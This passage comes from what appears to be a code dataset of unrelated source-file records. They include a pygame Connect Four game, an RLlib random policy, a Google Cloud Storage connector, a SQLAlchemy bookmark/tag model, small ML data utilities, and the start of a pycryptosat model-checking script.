global draw_queue\n global board\n\n to_end_screen = to_end_screen_func\n\n draw_queue = [lambda screen: pygame.draw.rect(\n screen, GAME_COLOR, (0, 0, SCREEN_WIDTH, SCREEN_HEIGHT))]\n\n board = []\n for column in range(COLUMNS):\n board.append([])\n for row in range(ROWS):\n draw_function = partial(\n draw_circle, row=row, column=column, color=player_to_color[0])\n draw_queue.append(draw_function)\n\n\ndef handle_events(events):\n global player\n\n for event in events:\n if event.type == pygame.MOUSEBUTTONDOWN:\n # Get mouse position\n x, y = pygame.mouse.get_pos()\n\n column = int((x // (SCREEN_WIDTH / (COLUMNS+2))))\n\n if column == 0 or column == COLUMNS+1:\n break\n\n column -= 1\n\n # Check if column is full\n if len(board[column]) == ROWS:\n print(\"Column is full!!\")\n break\n\n board[column].append(player)\n\n draw_function = partial(\n draw_circle, row=len(board[column])-1, column=column, color=player_to_color[player])\n draw_queue.append(draw_function)\n\n if check_win(column, len(board[column])-1):\n to_end_screen(player)\n\n if board_is_full():\n to_end_screen(0)\n\n player = 1 if player == 2 else 2\n\n\ndef draw(screen):\n for render_function in draw_queue:\n render_function(screen=screen)\n\n draw_queue.clear()\n\n pygame.display.update()\n\n\ndef update(dt, events, screen):\n handle_events(events)\n\n # Update game logic here\n\n draw(screen)\n","repo_name":"henrik392/proveeksamen","sub_path":"scripts/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35764984590","text":"import numpy as np\nimport random\n\nfrom ray.rllib.policy.policy import Policy\nfrom ray.rllib.utils.annotations import override\n\n\nclass RandomPolicy(Policy):\n \"\"\"Hand-coded policy that returns random actions.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n @override(Policy)\n def compute_actions(self,\n obs_batch,\n state_batches=None,\n prev_action_batch=None,\n prev_reward_batch=None,\n **kwargs):\n # Alternatively, a numpy array would work here as well.\n # e.g.: np.array([random.choice([0, 1])] * len(obs_batch))\n return [self.action_space.sample() for _ in obs_batch], [], {}\n\n @override(Policy)\n def learn_on_batch(self, samples):\n \"\"\"No learning.\"\"\"\n return {}\n\n @override(Policy)\n def compute_log_likelihoods(self,\n actions,\n obs_batch,\n state_batches=None,\n prev_action_batch=None,\n prev_reward_batch=None):\n return np.array([random.random()] * len(obs_batch))\n","repo_name":"HuantWang/SUPERSONIC","sub_path":"third_party/ray/rllib/examples/policy/random_policy.py","file_name":"random_policy.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"37"} +{"seq_id":"5116883848","text":"import os\nimport urllib.parse\nfrom functools import cached_property, partial\n\nfrom aiogoogle import Aiogoogle, HTTPError\nfrom aiogoogle.auth.creds import ServiceAccountCreds\n\nfrom connectors.logger import logger\nfrom connectors.source import BaseDataSource\nfrom connectors.sources.google import (\n load_service_account_json,\n validate_service_account_json,\n)\nfrom connectors.utils import RetryStrategy, get_pem_format, retryable\n\nCLOUD_STORAGE_READ_ONLY_SCOPE = \"https://www.googleapis.com/auth/devstorage.read_only\"\nCLOUD_STORAGE_BASE_URL = \"https://console.cloud.google.com/storage/browser/_details/\"\nAPI_NAME = \"storage\"\nAPI_VERSION = \"v1\"\nBLOB_ADAPTER = {\n \"_id\": \"id\",\n \"component_count\": \"componentCount\",\n \"content_encoding\": \"contentEncoding\",\n \"content_language\": \"contentLanguage\",\n \"created_at\": \"timeCreated\",\n \"last_updated\": \"updated\",\n \"metadata\": \"metadata\",\n \"name\": \"name\",\n \"size\": \"size\",\n \"storage_class\": \"storageClass\",\n \"_timestamp\": \"updated\",\n \"type\": \"contentType\",\n \"url\": \"selfLink\",\n \"version\": \"generation\",\n \"bucket_name\": \"bucket\",\n}\nRETRY_COUNT = 3\nRETRY_INTERVAL = 2\nSTORAGE_EMULATOR_HOST = os.environ.get(\"STORAGE_EMULATOR_HOST\")\nRUNNING_FTEST = (\n \"RUNNING_FTEST\" in os.environ\n) # Flag to check if a connector is run for ftest or not.\nREQUIRED_CREDENTIAL_KEYS = [\n \"type\",\n \"project_id\",\n \"private_key_id\",\n \"private_key\",\n \"client_email\",\n \"client_id\",\n \"auth_uri\",\n \"token_uri\",\n]\n\n\nclass GoogleCloudStorageClient:\n \"\"\"A google client to handle api calls made to Google Cloud Storage.\"\"\"\n\n def __init__(self, json_credentials):\n \"\"\"Initialize the ServiceAccountCreds class using which api calls will be made.\n\n Args:\n json_credentials (dict): Service account credentials json.\n \"\"\"\n self.service_account_credentials = ServiceAccountCreds(\n scopes=[CLOUD_STORAGE_READ_ONLY_SCOPE],\n **json_credentials,\n )\n self.user_project_id = self.service_account_credentials.project_id\n self._logger = logger\n\n def set_logger(self, logger_):\n self._logger = logger_\n\n @retryable(\n retries=RETRY_COUNT,\n interval=RETRY_INTERVAL,\n strategy=RetryStrategy.EXPONENTIAL_BACKOFF,\n )\n async def api_call(\n self,\n resource,\n method,\n sub_method=None,\n full_response=False,\n **kwargs,\n ):\n \"\"\"Make a GET call for Google Cloud Storage with retry for the failed API calls.\n\n Args:\n resource (aiogoogle.resource.Resource): Resource name for which api call will be made.\n method (aiogoogle.resource.Method): Method available for the resource.\n sub_method (aiogoogle.resource.Method, optional): Sub-method available for the method. Defaults to None.\n full_response (bool, optional): Specifies whether the response is paginated or not. Defaults to False.\n\n Raises:\n exception: A instance of an exception class.\n\n Yields:\n Dictionary: Response returned by the resource method.\n \"\"\"\n while True:\n try:\n async with Aiogoogle(\n service_account_creds=self.service_account_credentials\n ) as google_client:\n storage_client = await google_client.discover(\n api_name=API_NAME, api_version=API_VERSION\n )\n if RUNNING_FTEST and not sub_method and STORAGE_EMULATOR_HOST:\n self._logger.debug(\n f\"Using the storage emulator at {STORAGE_EMULATOR_HOST}\"\n )\n # Redirecting calls to fake Google Cloud Storage server for e2e test.\n storage_client.discovery_document[\"rootUrl\"] = (\n STORAGE_EMULATOR_HOST + \"/\"\n )\n resource_object = getattr(storage_client, resource)\n method_object = getattr(resource_object, method)\n if full_response:\n first_page_with_next_attached = (\n await google_client.as_service_account(\n method_object(**kwargs),\n full_res=True,\n )\n )\n async for page_items in first_page_with_next_attached:\n yield page_items\n else:\n if sub_method:\n method_object = getattr(method_object, sub_method)\n yield await google_client.as_service_account(\n method_object(**kwargs)\n )\n break\n except AttributeError as error:\n self._logger.error(\n f\"Error occurred while generating the resource/method object for an API call. Error: {error}\"\n )\n raise\n\n\nclass GoogleCloudStorageDataSource(BaseDataSource):\n \"\"\"Google Cloud Storage\"\"\"\n\n name = \"Google Cloud Storage\"\n service_type = \"google_cloud_storage\"\n\n def __init__(self, configuration):\n \"\"\"Set up the connection to the Google Cloud Storage Client.\n\n Args:\n configuration (DataSourceConfiguration): Object of DataSourceConfiguration class.\n \"\"\"\n super().__init__(configuration=configuration)\n\n def _set_internal_logger(self):\n self._google_storage_client.set_logger(self._logger)\n\n @classmethod\n def get_default_configuration(cls):\n \"\"\"Get the default configuration for Google Cloud Storage.\n\n Returns:\n dictionary: Default configuration.\n \"\"\"\n\n return {\n \"service_account_credentials\": {\n \"display\": \"textarea\",\n \"label\": \"Google Cloud service account JSON\",\n \"sensitive\": True,\n \"order\": 1,\n \"type\": \"str\",\n },\n \"use_text_extraction_service\": {\n \"display\": \"toggle\",\n \"label\": \"Use text extraction service\",\n \"order\": 3,\n \"tooltip\": \"Requires a separate deployment of the Elastic Text Extraction Service. Requires that pipeline settings disable text extraction.\",\n \"type\": \"bool\",\n \"ui_restrictions\": [\"advanced\"],\n \"value\": False,\n },\n }\n\n async def validate_config(self):\n \"\"\"Validates whether user inputs are valid or not for configuration field.\n\n Raises:\n Exception: The format of service account json is invalid.\n \"\"\"\n await super().validate_config()\n\n validate_service_account_json(\n self.configuration[\"service_account_credentials\"], \"Google Cloud Storage\"\n )\n\n @cached_property\n def _google_storage_client(self):\n \"\"\"Initialize and return the GoogleCloudStorageClient\n\n Returns:\n GoogleCloudStorageClient: An instance of the GoogleCloudStorageClient.\n \"\"\"\n json_credentials = load_service_account_json(\n self.configuration[\"service_account_credentials\"], \"Google Cloud Storage\"\n )\n\n if (\n json_credentials.get(\"private_key\")\n and \"\\n\" not in json_credentials[\"private_key\"]\n ):\n json_credentials[\"private_key\"] = get_pem_format(\n key=json_credentials[\"private_key\"].strip(),\n postfix=\"-----END PRIVATE KEY-----\",\n )\n\n required_credentials = {\n key: value\n for key, value in json_credentials.items()\n if key in REQUIRED_CREDENTIAL_KEYS\n }\n\n return GoogleCloudStorageClient(json_credentials=required_credentials)\n\n async def ping(self):\n \"\"\"Verify the connection with Google Cloud Storage\"\"\"\n if RUNNING_FTEST:\n return\n\n try:\n await anext(\n self._google_storage_client.api_call(\n resource=\"projects\",\n method=\"serviceAccount\",\n sub_method=\"get\",\n projectId=self._google_storage_client.user_project_id,\n )\n )\n self._logger.info(\"Successfully connected to the Google Cloud Storage.\")\n except Exception:\n self._logger.exception(\n \"Error while connecting to the Google Cloud Storage.\"\n )\n raise\n\n async def fetch_buckets(self):\n \"\"\"Fetch the buckets from the Google Cloud Storage.\n\n Yields:\n Dictionary: Contains the list of fetched buckets from Google Cloud Storage.\n \"\"\"\n async for bucket in self._google_storage_client.api_call(\n resource=\"buckets\",\n method=\"list\",\n full_response=True,\n project=self._google_storage_client.user_project_id,\n userProject=self._google_storage_client.user_project_id,\n ):\n yield bucket\n\n async def fetch_blobs(self, buckets):\n \"\"\"Fetches blobs stored in the bucket from Google Cloud Storage.\n\n Args:\n buckets (Dictionary): Contains the list of fetched buckets from Google Cloud Storage.\n\n Yields:\n Dictionary: Contains the list of fetched blobs from Google Cloud Storage.\n \"\"\"\n for bucket in buckets.get(\"items\", []):\n try:\n async for blob in self._google_storage_client.api_call(\n resource=\"objects\",\n method=\"list\",\n full_response=True,\n bucket=bucket[\"id\"],\n userProject=self._google_storage_client.user_project_id,\n ):\n yield blob\n except HTTPError as exception:\n exception_log_msg = f\"Permission denied for {bucket['name']} while fetching blobs. Exception: {exception}.\"\n if exception.res.status_code == 403:\n self._logger.warning(exception_log_msg)\n else:\n self._logger.error(\n f\"Something went wrong while fetching blobs from {bucket['name']}. Error: {exception}\"\n )\n\n def prepare_blob_document(self, blob):\n \"\"\"Apply key mappings to the blob document.\n\n Args:\n blob (dictionary): Blob's metadata returned from the Google Cloud Storage.\n\n Returns:\n dictionary: Blobs metadata mapped with the keys of `BLOB_ADAPTER`.\n \"\"\"\n blob_document = {}\n for elasticsearch_field, google_cloud_storage_field in BLOB_ADAPTER.items():\n blob_document[elasticsearch_field] = blob.get(google_cloud_storage_field)\n blob_name = urllib.parse.quote(blob_document[\"name\"], safe=\"'\")\n blob_document[\n \"url\"\n ] = f\"{CLOUD_STORAGE_BASE_URL}{blob_document['bucket_name']}/{blob_name};tab=live_object?project={self._google_storage_client.user_project_id}\"\n return blob_document\n\n def get_blob_document(self, blobs):\n \"\"\"Generate blob document.\n\n Args:\n blobs (dictionary): Dictionary contains blobs list.\n\n Yields:\n dictionary: Blobs metadata mapped with the keys of `BLOB_ADAPTER`.\n \"\"\"\n for blob in blobs.get(\"items\", []):\n yield self.prepare_blob_document(blob=blob)\n\n async def get_content(self, blob, timestamp=None, doit=None):\n \"\"\"Extracts the content for allowed file types.\n\n Args:\n blob (dictionary): Formatted blob document.\n timestamp (timestamp, optional): Timestamp of blob last modified. Defaults to None.\n doit (boolean, optional): Boolean value for whether to get content or not. Defaults to None.\n\n Returns:\n dictionary: Content document with id, timestamp & text\n \"\"\"\n file_size = int(blob[\"size\"])\n if not (doit and file_size):\n return\n\n filename = blob[\"name\"]\n file_extension = self.get_file_extension(filename)\n if not self.can_file_be_downloaded(file_extension, filename, file_size):\n return\n\n document = {\n \"_id\": blob[\"id\"],\n \"_timestamp\": blob[\"_timestamp\"],\n }\n\n # gcs has a unique download method so we can't utilize\n # the generic download_and_extract_file func\n async with self.create_temp_file(file_extension) as async_buffer:\n await anext(\n self._google_storage_client.api_call(\n resource=\"objects\",\n method=\"get\",\n bucket=blob[\"bucket_name\"],\n object=filename,\n alt=\"media\",\n userProject=self._google_storage_client.user_project_id,\n pipe_to=async_buffer,\n path_params_safe_chars={\"object\": \"'\"},\n )\n )\n await async_buffer.close()\n\n document = await self.handle_file_content_extraction(\n document, filename, async_buffer.name\n )\n\n return document\n\n async def get_docs(self, filtering=None):\n \"\"\"Get buckets & blob documents from Google Cloud Storage.\n\n Yields:\n dictionary: Documents from Google Cloud Storage.\n \"\"\"\n async for buckets in self.fetch_buckets():\n if not buckets.get(\"items\"):\n continue\n async for blobs in self.fetch_blobs(\n buckets=buckets,\n ):\n for blob_document in self.get_blob_document(blobs=blobs):\n yield blob_document, partial(self.get_content, blob_document)\n","repo_name":"elastic/connectors","sub_path":"connectors/sources/google_cloud_storage.py","file_name":"google_cloud_storage.py","file_ext":"py","file_size_in_byte":13929,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"37"} +{"seq_id":"37682709798","text":"import re\nimport math\nfrom datetime import datetime, timedelta\nfrom typing import List\nimport sqlalchemy.types\nfrom sqlalchemy import desc, func, and_, not_, or_, cast, distinct\nfrom sqlalchemy import Table, Column, ForeignKey, Integer, String, DateTime\nfrom sqlalchemy import Boolean, event\nfrom sqlalchemy.orm import relationship, backref\nfrom sqlalchemy.ext.associationproxy import association_proxy\nfrom sqlalchemy.sql.expression import false, true\nfrom flask_login import current_user\nfrom qstode import db\nfrom qstode.model.user import User, watched_users\n\n\n# Automatically delete orphan tags on database flush.\n# http://stackoverflow.com/questions/9234082/setting-delete-orphan-on-sqlalchemy-relationship-causes-assertionerror-this-att\n@event.listens_for(db.Session, \"after_flush\")\ndef delete_tag_orphans(session, ctx):\n session.query(Tag).filter(~Tag.bookmarks.any()).delete(synchronize_session=False)\n\n\n# Many-to-many mapping between Bookmarks and Tags\nbookmark_tags = Table(\n \"bookmark_tags\",\n db.Base.metadata,\n Column(\n \"bookmark_id\", Integer, ForeignKey(\"bookmarks.id\", ondelete=\"cascade\"), primary_key=True\n ),\n Column(\"tag_id\", Integer, ForeignKey(\"tags.id\", ondelete=\"cascade\"), primary_key=True),\n)\n\n\n# Tag names must be validated by this regex\ntag_name_re = re.compile(r\"^\\w[\\w!?.,$-_ ]*$\", re.U)\n\n# Validation for length of each tag\nTAG_MIN = 1\nTAG_MAX = 35\n\n# Validation for length of the notes field\nNOTES_MAX = 2500\n\n\nclass Tag(db.Base):\n \"\"\"This seemingly harmless class describes the `Tag` model that is the\n most important piece of this application; tag names are stored treated\n always lowercase because otherwise it would be a mess.\n\n An important consideration must be done regarding MySQL and the\n collation: with the default collation for utf8 (utf8_general_ci)\n names like \"perù\" and \"peru\" are considered to be equals; to have\n a literal comparison we should use the collation 'utf8_bin', but\n there is a problem with `MySQL-Python` 1.2.3 (the default shipped\n with Debian 7) where 'utf8_bin' columns will always emit 'str' strings, even\n specifying `convert_unicode=True` in the sql engine configuration.\n Setting the column type to `Unicode` with collation `utf8_bin` doesn't solve\n the problem. The only solution is to upgrade to MySQL-Python 1.2.4\n or to specify a generic collation.\n\n See also: http://sourceforge.net/p/mysql-python/bugs/289/\n \"\"\"\n\n # Uncomment this line to enable the \"right\" collation for tag names.\n # __table_args__ = {'mysql_collate': 'utf8_bin'}\n\n __tablename__ = \"tags\"\n\n id = Column(Integer, primary_key=True)\n name = Column(String(TAG_MAX), nullable=False, index=True, unique=True)\n\n def __init__(self, name):\n \"\"\"Create a new Tag, enforcing a lowercase name\"\"\"\n self.name = name.lower()\n\n @classmethod\n def get_or_create(cls, name):\n return super().get_or_create(name=name)\n\n @classmethod\n def search(cls, term):\n query = cls.query.filter(cls.name.startswith(term)).order_by(cls.name.asc())\n return query\n\n @classmethod\n def get_related(cls, tags: List[str], max_results=10, user=None):\n \"\"\"\n Returns a list of tuples (Tag.id, Tag.name, count) for each Tag related\n to `tags`, which is a list of tag names.\n\n The generated SQL query used to hang MySQL 5.5.46-0+deb7u1.\n\n SQL query as explained here:\n http://stackoverflow.com/questions/4483357/join-instead-of-subquery-for-related-tags\n \"\"\"\n assert isinstance(tags, list), \"The 'tags' parameter must be a list\"\n\n # enforce lowercase\n tags = [tag.lower() for tag in tags]\n # get the IDs for 'tags'\n tags_ids = [tag.id for tag in Tag.get_many(tags)]\n\n # build the subquery first: the subquery fetch all the bookmark ids of Bookmarks having\n # (all?) `tags` among their tags.\n subq = db.Session.query(bookmark_tags.c.bookmark_id).join(\n Bookmark, Bookmark.id == bookmark_tags.c.bookmark_id\n )\n if user is None:\n # Exclude private Bookmarks\n subq = subq.filter(Bookmark.private == false())\n else:\n # Exclude private Bookmarks but include user's bookmarks\n subq = subq.filter(\n or_(\n Bookmark.private == false(),\n and_(Bookmark.private == true(), Bookmark.user_id == user.id),\n )\n )\n\n subq = (\n # Only include Bookmarks which tags matches our `tags`\n subq.filter(bookmark_tags.c.tag_id.in_(tags_ids))\n .group_by(bookmark_tags.c.bookmark_id)\n .having(func.count(bookmark_tags.c.tag_id) == len(tags_ids))\n .subquery()\n )\n\n # the query does a count() of tags joining the table `bookmark_tags`, only including\n # bookmarks from the subquery, only including tags from `tags`.\n q = (\n db.Session.query(cls.id, cls.name, func.count(\"*\").label(\"tot\"))\n .select_from(bookmark_tags)\n .join(cls, cls.id == bookmark_tags.c.tag_id)\n .join(subq, subq.c.bookmark_id == bookmark_tags.c.bookmark_id)\n .filter(not_(cls.id.in_(tags_ids)))\n .group_by(cls.id)\n .order_by(desc(\"tot\"))\n .limit(max_results)\n )\n\n return q.all()\n\n @classmethod\n def get_or_create_many(cls, names):\n \"\"\"\n Returns a list of Tag objects matching `names` and create Tags\n that can't be found.\n \"\"\"\n results = []\n names = set([n.lower() for n in names])\n\n for name in names:\n tag = cls.get_or_create(name)\n results.append(tag)\n\n return results\n\n @classmethod\n def get_many(cls, names, match_case=False):\n \"\"\"\n Returns a list of Tags matching `names`.\n \"\"\"\n if match_case is False:\n names = set([name.lower() for name in names])\n\n if not len(names):\n return []\n\n query = cls.query.filter(Tag.name.in_(names))\n return query\n\n @classmethod\n def tagcloud(cls, limit=15, min_font_size=2, max_font_size=10, user_id=None):\n \"\"\"\n Generates a tag cloud.\n\n Returns a list of dicts with keys:\n - name\n - weight\n - total count\n - (font) size\n\n for the top `limit` popular Tags.\n \"\"\"\n\n query = (\n db.Session.query(Tag, func.count(Tag.id).label(\"total\"))\n .join(Tag.bookmarks)\n .filter(Bookmark.private == false())\n )\n\n if user_id is not None:\n query = query.join(Bookmark.user).filter(User.id == user_id)\n\n query = query.group_by(Tag.id).order_by(\"total DESC\").limit(limit)\n\n tags = query.all()\n if len(tags) < limit:\n return []\n\n # The total count of the most popular tag\n tot_max = tags[0][1]\n # The total count of the least popular tag\n tot_min = tags[-1][1]\n\n tag_cloud_weighted = []\n for tag, tag_count in tags:\n log_count = math.log(tag_count) - math.log(tot_min)\n log_max = math.log(tot_max) - math.log(tot_min)\n weight = log_count / log_max\n tag_dict = {\n \"name\": tag.name,\n \"weight\": weight,\n \"tot\": tag_count,\n \"size\": int(min_font_size + round((max_font_size - min_font_size) * weight)),\n }\n tag_cloud_weighted.append(tag_dict)\n\n tag_cloud_weighted = sorted(tag_cloud_weighted, key=lambda x: x[\"name\"], reverse=False)\n\n return tag_cloud_weighted\n\n @classmethod\n def taglist(cls, max_results=20):\n \"\"\"\n Returns a list of tuples (Tag object, total count) for the most popular\n tags.\n \"\"\"\n\n q = (\n db.Session.query(cls, func.count(bookmark_tags.c.bookmark_id).label(\"tot\"))\n .join(bookmark_tags)\n .join(Bookmark)\n .filter(Bookmark.private == false())\n .group_by(cls)\n .order_by(desc(\"tot\"))\n .limit(max_results)\n )\n\n return q.all()\n\n def __repr__(self):\n return \"\" % self.name\n\n\nclass Link(db.Base):\n __tablename__ = \"links\"\n\n id = Column(Integer, primary_key=True)\n href = Column(String(2000), nullable=False)\n\n def __init__(self, href):\n self.href = href\n\n @classmethod\n def get_or_create(cls, href):\n return super().get_or_create(href=href)\n\n def __repr__(self):\n return \"\".format(self.href)\n\n\nclass Bookmark(db.Base):\n \"\"\"A bookmark element in the archive. It has several properties and\n related tables (URL, Cateory, Tag, etc.).\n\n db.DateTime columns must store timestamps as if they where from UTC timezone,\n as the `timezone` info is stored only by PostgreSQL database.\n The best practice is to store UTC timestamps and convert to the user\n timezone in the view.\n \"\"\"\n\n __tablename__ = \"bookmarks\"\n\n id = Column(Integer, primary_key=True)\n title = Column(String(300), nullable=False)\n user_id = Column(Integer, ForeignKey(\"users.id\"), index=True)\n link = relationship(\"Link\", lazy=\"joined\", backref=backref(\"bookmarks\"))\n link_id = Column(Integer, ForeignKey(\"links.id\"))\n href = association_proxy(\"link\", \"href\")\n private = Column(Boolean, default=False)\n\n created_on = Column(DateTime, default=datetime.utcnow)\n modified_on = Column(DateTime, default=datetime.utcnow, onupdate=datetime.utcnow)\n indexed_on = Column(DateTime)\n\n tags = relationship(\n \"Tag\",\n secondary=bookmark_tags,\n backref=backref(\"bookmarks\", lazy=\"dynamic\"),\n order_by=\"Tag.name\",\n lazy=\"subquery\",\n )\n notes = Column(String(NOTES_MAX))\n\n def __init__(self, title, private=False, created_on=None, modified_on=None, notes=None):\n self.title = title\n self.private = private\n if created_on is not None:\n self.created_on = created_on\n if modified_on is not None:\n self.modified_on = modified_on\n self.notes = notes or \"\"\n\n @classmethod\n def get_public(cls):\n \"\"\"Return a query for the list of latest public Bookmarks, including\n the private bookmarks for the current user\"\"\"\n\n if not current_user.is_authenticated:\n return cls.query.filter(cls.private == false())\n\n return cls.query.filter(\n or_(and_(cls.private == true(), cls.user_id == current_user.id), cls.private == false())\n )\n\n @classmethod\n def get_latest(cls):\n query = cls.get_public().order_by(cls.created_on.desc())\n return query\n\n @classmethod\n def by_user(cls, userid, include_private=False):\n where = cls.user_id == userid\n if not include_private:\n where = where & (cls.private == false())\n return cls.query.filter(where).order_by(cls.created_on.desc())\n\n @classmethod\n def by_followed(cls):\n \"\"\"Get the latest bookmarks from the users followed by\n the current user\"\"\"\n\n return (\n cls.query.join(User)\n .outerjoin(watched_users, User.id == watched_users.c.other_user_id)\n .filter(watched_users.c.user_id == current_user.id)\n .filter(cls.private == false())\n .order_by(cls.created_on.desc())\n )\n\n @classmethod\n def by_tags_user(cls, tags, user_id):\n assert isinstance(tags, list), \"`tags` parameter must be a list\"\n\n return (\n cls.query.filter(cls.user_id == user_id)\n .join(cls.tags)\n .filter(Tag.name.in_(tags))\n .group_by(cls.id)\n .having(func.count(cls.id) == len(tags))\n .order_by(cls.created_on.desc())\n )\n\n @classmethod\n def by_tags(cls, tags, exclude=None, user_id=None):\n \"\"\"Returns all the Bookmarks tagged with the tag names specified in\n the `tags` parameter.\n\n The optional parameter `exclude` can be specified to exclude Bookmarks\n tagged with any of the specified tag names.\n\n :param tags: a list of tag names to include in the results\n :param exclude: an optional list of tag names to exclude from the results\n :param user_id: include only bookmarks owned by `user_id`\n \"\"\"\n\n assert isinstance(tags, list), \"`tags` parameter must be a list\"\n\n if exclude is None:\n exclude = []\n\n # enforce lowercase and uniqueness\n tags = set([t.lower() for t in tags])\n exclude = set([t.lower() for t in exclude])\n\n # If no tags was specified for exclusion we can work out a much\n # simplier SQL query.\n if not exclude:\n query = (\n cls.get_public()\n .join(cls.tags)\n .filter(Tag.name.in_(tags))\n .group_by(cls.id)\n .having(func.count(cls.id) == len(tags))\n .order_by(cls.created_on.desc())\n )\n\n if user_id is not None:\n query = query.filter(cls.user_id == user_id)\n\n return query\n\n exclude_query = (\n db.Session.query(bookmark_tags.c.bookmark_id)\n .join(Tag)\n .filter(Tag.name.in_(exclude))\n .subquery(\"exclude\")\n )\n\n include_query = (\n db.Session.query(bookmark_tags.c.bookmark_id)\n .join(Tag)\n .filter(Tag.name.in_(tags))\n .group_by(bookmark_tags.c.bookmark_id)\n .having(func.count(distinct(Tag.name)) == len(tags))\n .subquery(\"include\")\n )\n\n query = (\n cls.get_public()\n .outerjoin(exclude_query, cls.id == exclude_query.c.bookmark_id)\n .join(include_query, cls.id == include_query.c.bookmark_id)\n .filter(exclude_query.c.bookmark_id == None) # noqa\n .order_by(cls.created_on.desc())\n )\n\n if user_id is not None:\n query = query.filter(cls.user_id == user_id)\n\n return query\n\n # TODO: wat?\n @classmethod\n def by_ids(cls, ids):\n \"\"\"Returns a list of Bookmarks matching the IDs in `ids`;\n in MySQL the returned list is ordered the same as `ids`.\n \"\"\"\n # Keep the order from Whoosh with a MySQL specific hack:\n # order_by FIELD() function.\n # http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_field\n engine = db.Session.get_bind()\n if engine.driver.startswith(\"mysql\"):\n query = cls.get_public().filter(cls.id.in_(ids)).order_by(func.field(cls.id, *ids))\n else:\n query = cls.get_public().filter(cls.id.in_(ids)).order_by(cls.created_on.desc())\n return query\n\n @classmethod\n def submit_by_day(cls, days=30):\n date_limit = datetime.now() - timedelta(days)\n\n # multi-database support (MySQL, PostgreSQL, SQLite) for date conversion\n engine = db.Session.get_bind()\n if \"sqlite\" in engine.driver: # could be 'sqlite', or 'pysqlite'\n fn = cast(func.julianday(cls.created_on), Integer)\n elif engine.driver == \"postgresql\":\n fn = cast(cls.created_on, sqlalchemy.types.Date)\n else:\n fn = func.to_days(cls.created_on)\n\n query = (\n db.Session.query(fn.label(\"day\"), func.count(\"*\").label(\"count\"))\n .filter(cls.created_on > date_limit)\n .group_by(\"day\")\n .order_by(\"day ASC\")\n )\n\n results = [row.count for row in query.all()]\n return results\n\n def to_dict(self):\n return {\n \"id\": self.id,\n \"url\": self.href,\n \"title\": self.title,\n \"notes\": self.notes,\n \"tags\": [tag.name for tag in self.tags],\n \"private\": self.private,\n \"created_on\": self.created_on.isoformat(),\n \"modified_on\": self.modified_on.isoformat(),\n }\n\n def __repr__(self):\n return \" Tuple[DataLoader, DataLoader]:\n\n train_loader_params = dict(dataloader_conf.train.params)\n train_loader_params.update({\"dataset\": train_dataset})\n train_loader = DataLoader(**train_loader_params)\n\n valid_loader_params = dict(dataloader_conf.valid.params)\n valid_loader_params.update({\"dataset\": valid_dataset})\n valid_loader = DataLoader(**valid_loader_params)\n\n return train_loader, valid_loader\n","repo_name":"ssaru/face_identification","sub_path":"src/utils/dataloaders.py","file_name":"dataloaders.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6870521811","text":"import numpy as np\ndef train_test_split(x,y,test_size):\n shuffle_index_whole_set=np.random.permutation(len(x))\n x,y=x[shuffle_index_whole_set],y[shuffle_index_whole_set]\n x_length,y_length=len(x),len(y)\n training_length=int(x_length*(1.0-test_size))\n x_train,y_train,x_test,y_test=x[:training_length],y[:training_length],x[training_length:],y[training_length:]\n shuffle_index=np.random.permutation(training_length)\n x_train,y_train=x_train[shuffle_index],y_train[shuffle_index]\n return (np.array(x_train),np.array(y_train),np.array(x_test),np.array(y_test))","repo_name":"akkinasrikar/Machine-learning-from-scratch","sub_path":"ai/model_selection.py","file_name":"model_selection.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"30626568173","text":"from pycryptosat import *\nimport sys\nimport os\nimport subprocess\nimport re\n\nfrom hwmcc import _read_optional, run_foreground, write_file_print\nfrom rand_init_sampler import process_abc_output\n\n\n\ndef main():\n\n file_path = \"/home/li/Documents/IC3ref_init/example/hwmcc17-single-benchmarks/unsafe\"\n # IC3_path = '/home/li/Documents/IC3ref_init2/IC3'\n IC3_path = '/home/li/Documents/IC3ref_init2/IC3'\n\n args = [IC3_path, '-s', '-b']\n\n result = open(\"data/test.txt\", 'w')\n\n for subdir, dirs, files in os.walk(file_path):\n for file in files:\n aig_file = subdir + os.sep + file\n if not aig_file.endswith(\".aig\") and not aig_file.endswith(\".aag\"):\n continue\n\n # if \"bobmiterbm1or.aig\" not in aig_file: continue\n\n write_file_print(result, aig_file, ',')\n\n output = run_foreground(args, f_in=aig_file, timeout_seconds=60)\n if output == -1:\n write_file_print(result, \"Timeout!!\", \"\\n\")\n continue\n elif output is None or len(output) < 1:\n write_file_print(result, \"No output\", \"\\n\")\n continue\n elif output[0] == '1' and len(output) < 4:\n write_file_print(result, \"unsafe for base case.\", '\\n')\n continue\n assert output[0] != '-', \"No output\"\n\n # print(output)\n\n latch_list = parse_all_symbol_list(output, 'latch')\n input_list = parse_all_symbol_list(output, 'input')\n rep_list = parse_all_symbol_list(output, 'rep')\n\n symbol_list = ['null'] + list(latch_list) + list(input_list) + list(rep_list)\n symbol_dict = {symbol_list[i]: i for i in range(1, len(symbol_list))}\n\n # print(symbol_list)\n # print(symbol_dict)\n\n border_clauses = parse_border_cubes(output)\n error_clauses = parse_error(output)\n\n s = Solver()\n for clause in border_clauses:\n s.add_clause(list(map(lambda x: symbol2lit(x, symbol_dict), clause)))\n for clause in error_clauses:\n s.add_clause(list(map(lambda x: symbol2lit(x, symbol_dict), clause)))\n\n # sat, solution = s.solve()\n # print(sat)\n # print(solution)\n # clause = []\n # init = \"\"\n # for j, sign in enumerate(solution):\n # if j == 0:\n # continue\n # lit = j if not sign else 0 - j\n # clause.append(lit)\n # if sign:#sign means true\n # init += '1'\n # else:\n # init += '0'\n # run_abc_checking(init[:-1], file)\n\n\n num_iter = 0\n while True:\n num_iter += 1\n sat, solution = s.solve() # solution is a point in P /\\ Frame\n\n if (not sat):\n write_file_print(result, \"inv_frame_equals_false\", '\\n')\n break\n else:\n write_file_print(result, \"inv_frame_OK\", ',')\n\n\n clause = []\n init = \"\"\n for j, sign in 